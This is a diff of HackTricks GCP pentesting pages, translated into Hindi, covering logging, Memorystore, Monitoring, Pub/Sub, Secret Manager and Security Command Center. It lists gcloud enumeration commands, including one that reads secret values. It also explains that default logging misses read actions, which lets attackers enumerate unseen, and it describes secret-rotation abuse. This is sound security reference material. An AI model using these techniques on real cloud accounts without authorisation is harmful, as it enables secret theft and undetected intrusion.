- **डिफ़ॉल्ट** रूप से बकेट `_Default` और `_Required` के लिए सिंक्स बनाए जाते हैं:
|
||||
- ```bash
|
||||
_Required logging.googleapis.com/projects/<proj-name>/locations/global/buckets/_Required LOG_ID("cloudaudit.googleapis.com/activity") OR LOG_ID("externalaudit.googleapis.com/activity") OR LOG_ID("cloudaudit.googleapis.com/system_event") OR LOG_ID("externalaudit.googleapis.com/system_event") OR LOG_ID("cloudaudit.googleapis.com/access_transparency") OR LOG_ID("externalaudit.googleapis.com/access_transparency")
|
||||
_Default logging.googleapis.com/projects/<proj-name>/locations/global/buckets/_Default NOT LOG_ID("cloudaudit.googleapis.com/activity") AND NOT LOG_ID("externalaudit.googleapis.com/activity") AND NOT LOG_ID("cloudaudit.googleapis.com/system_event") AND NOT LOG_ID("externalaudit.googleapis.com/system_event") AND NOT LOG_ID("cloudaudit.googleapis.com/access_transparency") AND NOT LOG_ID("externalaudit.googleapis.com/access_transparency")
|
||||
```
|
||||
- **बहिष्करण फ़िल्टर:** यह संभव है कि **विशिष्ट लॉग प्रविष्टियों को रोकने के लिए बहिष्करण सेट करें**, लागत बचाने और अनावश्यक शोर को कम करने के लिए।
|
||||
3. **लॉग-आधारित मैट्रिक्स:** लॉग के सामग्री के आधार पर **कस्टम मैट्रिक्स** कॉन्फ़िगर करें, जो लॉग डेटा के आधार पर अलर्टिंग और निगरानी की अनुमति देता है।
|
||||
4. **लॉग दृश्य:** लॉग दृश्य आपको यह **नियंत्रण प्रदान करते हैं कि किसे आपके लॉग बकेट में लॉग्स तक पहुंच है।**
|
||||
- क्लाउड लॉगिंग **हर बकेट के लिए `_AllLogs` दृश्य स्वचालित रूप से बनाता है**, जो सभी लॉग दिखाता है। क्लाउड लॉगिंग `_Default` बकेट के लिए `_Default` नामक एक दृश्य भी बनाता है। `_Default` बकेट के लिए `_Default` दृश्य सभी लॉग दिखाता है सिवाय डेटा एक्सेस ऑडिट लॉग के। `_AllLogs` और `_Default` दृश्य संपादित नहीं किए जा सकते।
|
||||
|
||||
यह संभव है कि एक प्रिंसिपल को **केवल एक विशिष्ट लॉग दृश्य का उपयोग करने की अनुमति दें** IAM नीति के साथ जैसे:
|
||||
```json
|
||||
{
|
||||
"bindings": [
|
||||
{
|
||||
"members": ["user:username@gmail.com"],
|
||||
"role": "roles/logging.viewAccessor",
|
||||
"condition": {
|
||||
"title": "Bucket reader condition example",
|
||||
"description": "Grants logging.viewAccessor role to user username@gmail.com for the VIEW_ID log view.",
|
||||
"expression": "resource.name == \"projects/PROJECT_ID/locations/LOCATION/buckets/BUCKET_NAME/views/VIEW_ID\""
|
||||
}
|
||||
}
|
||||
],
|
||||
"etag": "BwWd_6eERR4=",
|
||||
"version": 3
|
||||
}
|
||||
```
|
||||
### Default Logs
|
||||
|
||||
By default **Admin Write** operations (also called Admin Activity audit logs) are the ones logged (write metadata or configuration information) and **can't be disabled**.
|
||||
डिफ़ॉल्ट रूप से **Admin Write** ऑपरेशन (जिसे Admin Activity audit logs भी कहा जाता है) लॉग किए जाते हैं (मेटाडेटा या कॉन्फ़िगरेशन जानकारी लिखें) और **निष्क्रिय नहीं किए जा सकते**।
|
||||
|
||||
Then, the user can enable **Data Access audit logs**, these are **Admin Read, Data Write and Data Write**.
|
||||
फिर, उपयोगकर्ता **Data Access audit logs** को सक्षम कर सकता है, ये हैं **Admin Read, Data Write और Data Write**।
|
||||
|
||||
You can find more info about each type of log in the docs: [https://cloud.google.com/iam/docs/audit-logging](https://cloud.google.com/iam/docs/audit-logging)
|
||||
आप प्रत्येक प्रकार के लॉग के बारे में अधिक जानकारी दस्तावेज़ों में पा सकते हैं: [https://cloud.google.com/iam/docs/audit-logging](https://cloud.google.com/iam/docs/audit-logging)
|
||||
|
||||
However, note that this means that by default **`GetIamPolicy`** actions and other read actions are **not being logged**. So, by default an attacker trying to enumerate the environment won't be caught if the sysadmin didn't configure to generate more logs.
|
||||
हालांकि, ध्यान दें कि इसका मतलब है कि डिफ़ॉल्ट रूप से **`GetIamPolicy`** क्रियाएँ और अन्य पढ़ने की क्रियाएँ **लॉग नहीं की जा रही हैं**। इसलिए, डिफ़ॉल्ट रूप से एक हमलावर जो वातावरण को एन्यूमरेट करने की कोशिश कर रहा है, यदि सिस्टम प्रशासक ने अधिक लॉग उत्पन्न करने के लिए कॉन्फ़िगर नहीं किया है, तो पकड़ा नहीं जाएगा।
|
||||
|
||||
To enable more logs in the console the sysadmin needs to go to [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) and enable them. There are 2 different options:
|
||||
कंसोल में अधिक लॉग सक्षम करने के लिए सिस्टम प्रशासक को [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) पर जाना होगा और उन्हें सक्षम करना होगा। वहाँ 2 विभिन्न विकल्प हैं:
|
||||
|
||||
- **Default Configuration**: It's possible to create a default configuration and log all the Admin Read and/or Data Read and/or Data Write logs and even add exempted principals:
|
||||
- **Default Configuration**: एक डिफ़ॉल्ट कॉन्फ़िगरेशन बनाना संभव है और सभी Admin Read और/या Data Read और/या Data Write लॉग को लॉग करना और यहां तक कि छूट प्राप्त प्रिंसिपल जोड़ना:
|
||||
|
||||
<figure><img src="../../../images/image (338).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Select the services**: Or just **select the services** you would like to generate logs and the type of logs and the excepted principal for that specific service.
|
||||
- **Select the services**: या बस **सेवाओं का चयन करें** जिनके लिए आप लॉग उत्पन्न करना चाहते हैं और उस विशेष सेवा के लिए लॉग के प्रकार और छूट प्राप्त प्रिंसिपल।
|
||||
|
||||
Also note that by default only those logs are being generated because generating more logs will increase the costs.
|
||||
यह भी ध्यान दें कि डिफ़ॉल्ट रूप से केवल वही लॉग उत्पन्न किए जा रहे हैं क्योंकि अधिक लॉग उत्पन्न करने से लागत बढ़ेगी।
|
||||
|
||||
### Enumeration
|
||||
|
||||
The `gcloud` command-line tool is an integral part of the GCP ecosystem, allowing you to manage your resources and services. Here's how you can use `gcloud` to manage your logging configurations and access logs.
|
||||
|
||||
`gcloud` कमांड-लाइन टूल GCP पारिस्थितिकी तंत्र का एक अभिन्न हिस्सा है, जो आपको अपने संसाधनों और सेवाओं का प्रबंधन करने की अनुमति देता है। यहाँ बताया गया है कि आप अपने लॉगिंग कॉन्फ़िगरेशन और एक्सेस लॉग को प्रबंधित करने के लिए `gcloud` का उपयोग कैसे कर सकते हैं।
|
||||
```bash
|
||||
# List buckets
|
||||
gcloud logging buckets list
|
||||
@@ -119,32 +114,27 @@ gcloud logging views describe --bucket <bucket> --location global <view-id> # vi
|
||||
gcloud logging links list --bucket _Default --location global
|
||||
gcloud logging links describe <link-id> --bucket _Default --location global
|
||||
```
|
||||
उदाहरण **`cloudresourcemanager`** के लॉग की जांच करने के लिए (जो अनुमतियों को BF करने के लिए उपयोग किया जाता है): [https://console.cloud.google.com/logs/query;query=protoPayload.serviceName%3D%22cloudresourcemanager.googleapis.com%22;summaryFields=:false:32:beginning;cursorTimestamp=2024-01-20T00:07:14.482809Z;startTime=2024-01-01T11:12:26.062Z;endTime=2024-02-02T17:12:26.062Z?authuser=2\&project=digital-bonfire-410512](https://console.cloud.google.com/logs/query;query=protoPayload.serviceName%3D%22cloudresourcemanager.googleapis.com%22;summaryFields=:false:32:beginning;cursorTimestamp=2024-01-20T00:07:14.482809Z;startTime=2024-01-01T11:12:26.062Z;endTime=2024-02-02T17:12:26.062Z?authuser=2&project=digital-bonfire-410512)
|
||||
|
||||
Example to check the logs of **`cloudresourcemanager`** (the one used to BF permissions): [https://console.cloud.google.com/logs/query;query=protoPayload.serviceName%3D%22cloudresourcemanager.googleapis.com%22;summaryFields=:false:32:beginning;cursorTimestamp=2024-01-20T00:07:14.482809Z;startTime=2024-01-01T11:12:26.062Z;endTime=2024-02-02T17:12:26.062Z?authuser=2\&project=digital-bonfire-410512](https://console.cloud.google.com/logs/query;query=protoPayload.serviceName%3D%22cloudresourcemanager.googleapis.com%22;summaryFields=:false:32:beginning;cursorTimestamp=2024-01-20T00:07:14.482809Z;startTime=2024-01-01T11:12:26.062Z;endTime=2024-02-02T17:12:26.062Z?authuser=2&project=digital-bonfire-410512)
|
||||
|
||||
There aren't logs of **`testIamPermissions`**:
|
||||
**`testIamPermissions`** के लॉग नहीं हैं:
|
||||
|
||||
<figure><img src="../../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Post Exploitation
|
||||
### पोस्ट एक्सप्लॉइटेशन
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-logging-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
### स्थिरता
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-logging-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://cloud.google.com/logging/docs/logs-views#gcloud](https://cloud.google.com/logging/docs/logs-views#gcloud)
|
||||
- [https://betterstack.com/community/guides/logging/gcp-logging/](https://betterstack.com/community/guides/logging/gcp-logging/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,8 +4,7 @@
|
||||
|
||||
## Memorystore
|
||||
|
||||
Reduce latency with scalable, secure, and highly available in-memory service for [**Redis**](https://cloud.google.com/sdk/gcloud/reference/redis) and [**Memcached**](https://cloud.google.com/sdk/gcloud/reference/memcache). Learn more.
|
||||
|
||||
[**Redis**](https://cloud.google.com/sdk/gcloud/reference/redis) और [**Memcached**](https://cloud.google.com/sdk/gcloud/reference/memcache) के लिए स्केलेबल, सुरक्षित और उच्च उपलब्धता वाली इन-मेमोरी सेवा के साथ लेटेंसी को कम करें। अधिक जानें।
|
||||
```bash
|
||||
# Memcache
|
||||
gcloud memcache instances list --region <region>
|
||||
@@ -17,9 +16,4 @@ gcloud redis instances list --region <region>
|
||||
gcloud redis instances describe <INSTACE> --region <region>
|
||||
gcloud redis instances export gs://my-bucket/my-redis-instance.rdb my-redis-instance --region=us-central1
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,28 +4,27 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud Monitoring offers a suite of tools to **monitor**, troubleshoot, and improve the performance of your cloud resources. From a security perspective, Cloud Monitoring provides several features that are crucial for maintaining the security and compliance of your cloud environment:
|
||||
Google Cloud Monitoring एक टूल्स का सेट प्रदान करता है ताकि आप अपने क्लाउड संसाधनों की **monitor**, समस्या निवारण, और प्रदर्शन में सुधार कर सकें। सुरक्षा के दृष्टिकोण से, Cloud Monitoring कई विशेषताएँ प्रदान करता है जो आपके क्लाउड वातावरण की सुरक्षा और अनुपालन बनाए रखने के लिए महत्वपूर्ण हैं:
|
||||
|
||||
### Policies
|
||||
|
||||
Policies **define conditions under which alerts are triggered and how notifications are sent**. They allow you to monitor specific metrics or logs, set thresholds, and determine where and how to send alerts (like email or SMS).
|
||||
Policies **उन शर्तों को परिभाषित करती हैं जिनके तहत अलर्ट उत्पन्न होते हैं और सूचनाएँ कैसे भेजी जाती हैं**। ये आपको विशिष्ट मैट्रिक्स या लॉग की निगरानी करने, थ्रेशोल्ड सेट करने, और यह निर्धारित करने की अनुमति देती हैं कि अलर्ट कहाँ और कैसे भेजे जाएँ (जैसे ईमेल या SMS)।
|
||||
|
||||
### Dashboards
|
||||
|
||||
Monitoring Dashboards in GCP are customizable interfaces for visualizing the **performance and status of cloud resources**. They offer real-time insights through charts and graphs, aiding in efficient system management and issue resolution.
|
||||
GCP में Monitoring Dashboards अनुकूलन योग्य इंटरफेस हैं जो **क्लाउड संसाधनों के प्रदर्शन और स्थिति** को देखने के लिए हैं। ये चार्ट और ग्राफ के माध्यम से वास्तविक समय की अंतर्दृष्टि प्रदान करते हैं, जो कुशल प्रणाली प्रबंधन और समस्या समाधान में मदद करते हैं।
|
||||
|
||||
### Channels
|
||||
|
||||
Different **channels** can be configured to **send alerts** through various methods, including **email**, **SMS**, **Slack**, and more.
|
||||
विभिन्न **channels** को **अलर्ट भेजने** के लिए विभिन्न तरीकों से कॉन्फ़िगर किया जा सकता है, जिसमें **ईमेल**, **SMS**, **Slack**, और अधिक शामिल हैं।
|
||||
|
||||
Moreover, when an alerting policy is created in Cloud Monitoring, it's possible to **specify one or more notification channels**.
|
||||
इसके अलावा, जब Cloud Monitoring में एक अलर्टिंग नीति बनाई जाती है, तो यह **एक या अधिक सूचना चैनलों** को निर्दिष्ट करना संभव है।
|
||||
|
||||
### Snoozers
|
||||
|
||||
A snoozer will **prevent the indicated alert policies to generate alerts or send notifications** during the indicated snoozing period. Additionally, when a snooze is applied to a **metric-based alerting policy**, Monitoring proceeds to **resolve any open incidents** that are linked to that specific policy.
|
||||
एक snoozer **निर्दिष्ट अलर्ट नीतियों को अलर्ट उत्पन्न करने या सूचनाएँ भेजने से रोकता है** निर्दिष्ट स्नूज़िंग अवधि के दौरान। इसके अतिरिक्त, जब एक **मैट्रिक-आधारित अलर्टिंग नीति** पर स्नूज़ लागू किया जाता है, तो Monitoring उस विशेष नीति से जुड़े **किसी भी खुले घटनाओं को हल करने** की प्रक्रिया जारी रखता है।
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Get policies
|
||||
gcloud alpha monitoring policies list
|
||||
@@ -43,19 +42,14 @@ gcloud monitoring snoozes describe <snoozer>
|
||||
gcloud alpha monitoring channels list
|
||||
gcloud alpha monitoring channels describe <channel>
|
||||
```
|
||||
|
||||
### Post Exploitation
|
||||
### पोस्ट एक्सप्लॉइटेशन
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-monitoring-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://cloud.google.com/monitoring/alerts/manage-snooze#gcloud-cli](https://cloud.google.com/monitoring/alerts/manage-snooze#gcloud-cli)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,32 +4,31 @@
|
||||
|
||||
## Pub/Sub <a href="#reviewing-cloud-pubsub" id="reviewing-cloud-pubsub"></a>
|
||||
|
||||
[Google **Cloud Pub/Sub**](https://cloud.google.com/pubsub/) is described as a service facilitating message exchange between independent applications. The core components include **topics**, to which applications can **subscribe**. Subscribed applications have the capability to **send and receive messages**. Each message comprises the actual content along with associated metadata.
|
||||
[Google **Cloud Pub/Sub**](https://cloud.google.com/pubsub/) को स्वतंत्र अनुप्रयोगों के बीच संदेशों के आदान-प्रदान की सुविधा देने वाली सेवा के रूप में वर्णित किया गया है। इसके मुख्य घटक **विषय** हैं, जिनसे अनुप्रयोग **सदस्यता** ले सकते हैं। सदस्यता लेने वाले अनुप्रयोगों में **संदेश भेजने और प्राप्त करने** की क्षमता होती है। प्रत्येक संदेश में वास्तविक सामग्री के साथ संबंधित मेटाडेटा शामिल होता है।
|
||||
|
||||
The **topic is the queue** where messages are going to be sent, while the **subscriptions** are the **objects** users are going to use to **access messages in the topics**. There can be more than **1 subscription per topic** and there are 4 types of subscriptions:
|
||||
**विषय वह कतार है** जहाँ संदेश भेजे जाने वाले हैं, जबकि **सदस्यताएँ** वे **वस्तुएँ** हैं जिनका उपयोग उपयोगकर्ता **विषयों में संदेशों तक पहुँचने** के लिए करेंगे। एक विषय के लिए **1 से अधिक सदस्यता** हो सकती है और सदस्यताओं के 4 प्रकार हैं:
|
||||
|
||||
- **Pull**: The user(s) of this subscription needs to pull for messages.
|
||||
- **Push**: An URL endpoint is indicated and messages will be sent immediately to it.
|
||||
- **Big query table**: Like push but setting the messages inside a Big query table.
|
||||
- **Cloud Storage**: Deliver messages directly to an existing bucket.
|
||||
- **पुल**: इस सदस्यता के उपयोगकर्ता को संदेशों के लिए पुल करना होगा।
|
||||
- **पुश**: एक URL अंत बिंदु निर्दिष्ट किया गया है और संदेश तुरंत वहाँ भेजे जाएंगे।
|
||||
- **बिग क्वेरी टेबल**: पुश की तरह लेकिन संदेशों को एक बिग क्वेरी टेबल के अंदर सेट करना।
|
||||
- **क्लाउड स्टोरेज**: संदेशों को सीधे एक मौजूदा बकेट में पहुँचाना।
|
||||
|
||||
By **default** a **subscription expires after 31 days**, although it can be set to never expire.
|
||||
**डिफ़ॉल्ट** के अनुसार, एक **सदस्यता 31 दिनों के बाद समाप्त हो जाती है**, हालाँकि इसे कभी समाप्त न होने के लिए सेट किया जा सकता है।
|
||||
|
||||
By **default**, a message is **retained for 7 days**, but this time can be **increased up to 31 days**. Also, if it's not **ACKed in 10s** it goes back to the queue. It can also be set that ACKed messages should continue to be stored.
|
||||
**डिफ़ॉल्ट** के अनुसार, एक संदेश **7 दिनों के लिए बनाए रखा जाता है**, लेकिन इस समय को **31 दिनों तक बढ़ाया** जा सकता है। इसके अलावा, यदि इसे **10 सेकंड में ACK नहीं किया गया** तो यह फिर से कतार में चला जाता है। यह भी सेट किया जा सकता है कि ACK किए गए संदेशों को संग्रहीत किया जाना चाहिए।
|
||||
|
||||
A topic is by default encrypted using a **Google managed encryption key**. But a **CMEK** (Customer Managed Encryption Key) from KMS can also be selected.
|
||||
एक विषय डिफ़ॉल्ट रूप से **Google प्रबंधित एन्क्रिप्शन कुंजी** का उपयोग करके एन्क्रिप्ट किया जाता है। लेकिन KMS से एक **CMEK** (ग्राहक प्रबंधित एन्क्रिप्शन कुंजी) भी चुनी जा सकती है।
|
||||
|
||||
**Dead letter**: Subscriptions may configure a **maximum number of delivery attempts**. When a message cannot be delivered, it is **republished to the specified dead letter topic**.
|
||||
**डेड लेटर**: सदस्यताएँ **डिलीवरी प्रयासों की अधिकतम संख्या** को कॉन्फ़िगर कर सकती हैं। जब एक संदेश वितरित नहीं किया जा सकता है, तो इसे **निर्दिष्ट डेड लेटर विषय पर पुनः प्रकाशित किया जाता है**।
|
||||
|
||||
### Snapshots & Schemas
|
||||
### स्नैपशॉट और स्कीमा
|
||||
|
||||
A snapshot is a feature that **captures the state of a subscription at a specific point in time**. It is essentially a consistent **backup of the unacknowledged messages in a subscription**. By creating a snapshot, you preserve the message acknowledgment state of the subscription, allowing you to resume message consumption from the point the snapshot was taken, even after the original messages would have been otherwise deleted.\
|
||||
If you are very lucky a snapshot could contain **old sensitive information** from when the snapshot was taken.
|
||||
एक स्नैपशॉट एक विशेष समय पर **एक सदस्यता की स्थिति को कैप्चर करने** की विशेषता है। यह मूल रूप से एक **सदस्यता में अनस्वीकृत संदेशों का सुसंगत बैकअप** है। एक स्नैपशॉट बनाकर, आप सदस्यता की संदेश स्वीकृति स्थिति को संरक्षित करते हैं, जिससे आप स्नैपशॉट लिए गए बिंदु से संदेशों का उपभोग फिर से शुरू कर सकते हैं, भले ही मूल संदेश अन्यथा हटा दिए गए होते।\
|
||||
यदि आप बहुत भाग्यशाली हैं, तो एक स्नैपशॉट में **पुरानी संवेदनशील जानकारी** हो सकती है जब स्नैपशॉट लिया गया था।
|
||||
|
||||
When creating a topic, you can indicate that the **topic messages must follow a schema**.
|
||||
एक विषय बनाते समय, आप संकेत कर सकते हैं कि **विषय संदेशों को एक स्कीमा का पालन करना चाहिए**।
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Get a list of topics in the project
|
||||
gcloud pubsub topics list
|
||||
@@ -51,10 +50,9 @@ gcloud pubsub schemas list-revisions <schema>
|
||||
gcloud pubsub snapshots list
|
||||
gcloud pubsub snapshots describe <snapshot>
|
||||
```
|
||||
हालांकि, आप [**बड़े डेटा सेट के लिए पूछने**](https://cloud.google.com/pubsub/docs/replay-overview) पर बेहतर परिणाम प्राप्त कर सकते हैं, जिसमें पुराने संदेश शामिल हैं। इसके कुछ पूर्वापेक्षाएँ हैं और यह अनुप्रयोगों को प्रभावित कर सकता है, इसलिए सुनिश्चित करें कि आप वास्तव में जानते हैं कि आप क्या कर रहे हैं।
|
||||
|
||||
However, you may have better results [**asking for a larger set of data**](https://cloud.google.com/pubsub/docs/replay-overview), including older messages. This has some prerequisites and could impact applications, so make sure you really know what you're doing.
|
||||
|
||||
### Privilege Escalation & Post Exploitation
|
||||
### विशेषाधिकार वृद्धि और पोस्ट शोषण
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
|
||||
@@ -62,15 +60,14 @@ However, you may have better results [**asking for a larger set of data**](https
|
||||
|
||||
## Pub/Sub Lite
|
||||
|
||||
[**Pub/Sub Lite**](https://cloud.google.com/pubsub/docs/choosing-pubsub-or-lite) is a messaging service with **zonal storage**. Pub/Sub Lite **costs a fraction** of Pub/Sub and is meant for **high volume streaming** (up to 10 million messages per second) pipelines and event-driven system where low cost is the primary consideration.
|
||||
[**Pub/Sub Lite**](https://cloud.google.com/pubsub/docs/choosing-pubsub-or-lite) एक संदेश सेवा है जिसमें **क्षेत्रीय भंडारण** है। Pub/Sub Lite **Pub/Sub का एक अंश** है और इसे **उच्च मात्रा के स्ट्रीमिंग** (प्रति सेकंड 10 मिलियन संदेशों तक) पाइपलाइनों और इवेंट-चालित प्रणाली के लिए डिज़ाइन किया गया है जहाँ कम लागत प्राथमिक विचार है।
|
||||
|
||||
In PubSub Lite there **are** **topics** and **subscriptions**, there **aren't snapshots** and **schemas** and there are:
|
||||
PubSub Lite में **विषय** और **सदस्यताएँ** हैं, वहाँ **स्नैपशॉट** और **स्कीमा** नहीं हैं और वहाँ हैं:
|
||||
|
||||
- **Reservations**: Pub/Sub Lite Reservations is a feature that allows users to reserve capacity in a specific region for their message streams.
|
||||
- **Operations**: Refers to the actions and tasks involved in managing and administering Pub/Sub Lite.
|
||||
|
||||
### Enumeration
|
||||
- **आरक्षण**: Pub/Sub Lite आरक्षण एक विशेषता है जो उपयोगकर्ताओं को अपने संदेश धाराओं के लिए एक विशिष्ट क्षेत्र में क्षमता आरक्षित करने की अनुमति देती है।
|
||||
- **ऑपरेशंस**: Pub/Sub Lite का प्रबंधन और प्रशासन करने में शामिल क्रियाएँ और कार्यों को संदर्भित करता है।
|
||||
|
||||
### गणना
|
||||
```bash
|
||||
# lite-topics
|
||||
gcloud pubsub lite-topics list
|
||||
@@ -90,9 +87,4 @@ gcloud pubsub lite-reservations list-topics <topic>
|
||||
gcloud pubsub lite-operations list
|
||||
gcloud pubsub lite-operations describe <topic>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,18 +4,17 @@
|
||||
|
||||
## Secret Manager
|
||||
|
||||
Google [**Secret Manager**](https://cloud.google.com/solutions/secrets-management/) is a vault-like solution for storing passwords, API keys, certificates, files (max 64KB) and other sensitive data.
|
||||
Google [**Secret Manager**](https://cloud.google.com/solutions/secrets-management/) पासवर्ड, API कुंजी, प्रमाणपत्र, फ़ाइलें (अधिकतम 64KB) और अन्य संवेदनशील डेटा संग्रहीत करने के लिए एक वॉल्ट-जैसी समाधान है।
|
||||
|
||||
A secret can have **different versions storing different data**.
|
||||
एक रहस्य में **विभिन्न संस्करण हो सकते हैं जो विभिन्न डेटा संग्रहीत करते हैं**।
|
||||
|
||||
Secrets by **default** are **encrypted using a Google managed key**, but it's **possible to select a key from KMS** to use to encrypt the secret.
|
||||
रहस्य **डिफ़ॉल्ट** रूप से **Google प्रबंधित कुंजी का उपयोग करके एन्क्रिप्ट किए जाते हैं**, लेकिन **रहस्य को एन्क्रिप्ट करने के लिए KMS से एक कुंजी का चयन करना संभव है**।
|
||||
|
||||
Regarding **rotation**, it's possible to configure **messages to be sent to pub-sub every number of days**, the code listening to those messages can **rotate the secret**.
|
||||
**रोटेशन** के संबंध में, यह **हर कुछ दिनों में pub-sub पर भेजे जाने वाले संदेशों को कॉन्फ़िगर करना संभव है**, उन संदेशों को सुनने वाला कोड **रहस्य को घुमाने** में सक्षम हो सकता है।
|
||||
|
||||
It's possible to configure a day for **automatic deletion**, when the indicated day is **reached**, the **secret will be automatically deleted**.
|
||||
**स्वचालित हटाने** के लिए एक दिन कॉन्फ़िगर करना संभव है, जब निर्दिष्ट दिन **पहुंचा जाता है**, तो **रहस्य स्वचालित रूप से हटा दिया जाएगा**।
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# First, list the entries
|
||||
gcloud secrets list
|
||||
@@ -25,10 +24,9 @@ gcloud secrets get-iam-policy <secret_name>
|
||||
gcloud secrets versions list <secret_name>
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
In the following page you can check how to **abuse secretmanager permissions to escalate privileges.**
|
||||
In the following page you can check how to **secretmanager अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाएं।**
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-secretmanager-privesc.md
|
||||
@@ -48,10 +46,6 @@ In the following page you can check how to **abuse secretmanager permissions to
|
||||
|
||||
### Rotation misuse
|
||||
|
||||
An attacker could update the secret to **stop rotations** (so it won't be modified), or **make rotations much less often** (so the secret won't be modified) or to **publish the rotation message to a different pub/sub**, or modifying the rotation code being executed (this happens in a different service, probably in a Clound Function, so the attacker will need privileged access over the Cloud Function or any other service)
|
||||
An attacker could update the secret to **रोटेशन को रोकने के लिए** (so it won't be modified), or **रोटेशन को बहुत कम बार करना** (so the secret won't be modified) or to **रोटेशन संदेश को एक अलग pub/sub पर प्रकाशित करना**, or modifying the rotation code being executed (this happens in a different service, probably in a Clound Function, so the attacker will need privileged access over the Cloud Function or any other service)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,36 +4,35 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud Platform (GCP) Security encompasses a **comprehensive suite of tools** and practices designed to ensure the **security** of resources and data within the Google Cloud environment, divided into four main sections: **Security Command Center, Detections and Controls, Data Protection and Zero Turst.**
|
||||
Google Cloud Platform (GCP) सुरक्षा में **संसाधनों और डेटा की सुरक्षा** सुनिश्चित करने के लिए डिज़ाइन किए गए **उपकरणों और प्रथाओं का एक व्यापक सेट** शामिल है, जिसे चार मुख्य अनुभागों में विभाजित किया गया है: **सुरक्षा कमांड सेंटर, पहचान और नियंत्रण, डेटा सुरक्षा और शून्य विश्वास।**
|
||||
|
||||
## **Security Command Center**
|
||||
|
||||
The Google Cloud Platform (GCP) Security Command Center (SCC) is a **security and risk management tool for GCP** resources that enables organizations to gain visibility into and control over their cloud assets. It helps **detect and respond to threats** by offering comprehensive security analytics, **identifying misconfigurations**, ensuring **compliance** with security standards, and **integrating** with other security tools for automated threat detection and response.
|
||||
Google Cloud Platform (GCP) सुरक्षा कमांड सेंटर (SCC) एक **सुरक्षा और जोखिम प्रबंधन उपकरण है** जो संगठनों को उनके क्लाउड संपत्तियों पर दृश्यता और नियंत्रण प्राप्त करने में सक्षम बनाता है। यह **खतरों का पता लगाने और प्रतिक्रिया देने** में मदद करता है, व्यापक सुरक्षा विश्लेषण प्रदान करता है, **गलत कॉन्फ़िगरेशन की पहचान करता है**, सुरक्षा मानकों के साथ **अनुपालन** सुनिश्चित करता है, और स्वचालित खतरे की पहचान और प्रतिक्रिया के लिए अन्य सुरक्षा उपकरणों के साथ **एकीकृत** होता है।
|
||||
|
||||
- **Overview**: Panel to **visualize an overview** of all the result of the Security Command Center.
|
||||
- Threats: \[Premium Required] Panel to visualize all the **detected threats. Check more about Threats below**
|
||||
- **Vulnerabilities**: Panel to **visualize found misconfigurations in the GCP account**.
|
||||
- **Compliance**: \[Premium required] This section allows to **test your GCP environment against several compliance checks** (such as PCI-DSS, NIST 800-53, CIS benchmarks...) over the organization.
|
||||
- **Assets**: This section **shows all the assets being used**, very useful for sysadmins (and maybe attacker) to see what is running in a single page.
|
||||
- **Findings**: This **aggregates** in a **table findings** of different sections of GCP Security (not only Command Center) to be able to visualize easily findings that matters.
|
||||
- **Sources**: Shows a **summary of findings** of all the different sections of GCP security **by sectio**n.
|
||||
- **Posture**: \[Premium Required] Security Posture allows to **define, assess, and monitor the security of the GCP environment**. It works by creating policy that defines constraints or restrictions that controls/monitor the resources in GCP. There are several pre-defined posture templates that can be found in [https://cloud.google.com/security-command-center/docs/security-posture-overview?authuser=2#predefined-policy](https://cloud.google.com/security-command-center/docs/security-posture-overview?authuser=2#predefined-policy)
|
||||
- **Overview**: सभी सुरक्षा कमांड सेंटर के परिणामों का **सारांश देखने के लिए पैनल**।
|
||||
- Threats: \[Premium Required] सभी **पाए गए खतरों को देखने के लिए पैनल। नीचे खतरों के बारे में अधिक जानकारी देखें**
|
||||
- **Vulnerabilities**: GCP खाते में **पाई गई गलत कॉन्फ़िगरेशन को देखने के लिए पैनल**।
|
||||
- **Compliance**: \[Premium required] यह अनुभाग **आपके GCP वातावरण का परीक्षण करने की अनुमति देता है विभिन्न अनुपालन जांचों के खिलाफ** (जैसे PCI-DSS, NIST 800-53, CIS बेंचमार्क...) संगठन के ऊपर।
|
||||
- **Assets**: यह अनुभाग **सभी उपयोग किए जा रहे संपत्तियों को दिखाता है**, सिस्टम प्रशासकों (और शायद हमलावर) के लिए एक ही पृष्ठ पर यह देखना बहुत उपयोगी है कि क्या चल रहा है।
|
||||
- **Findings**: यह GCP सुरक्षा के विभिन्न अनुभागों (केवल कमांड सेंटर नहीं) के **निष्कर्षों को एक तालिका में संकलित करता है** ताकि महत्वपूर्ण निष्कर्षों को आसानी से देखा जा सके।
|
||||
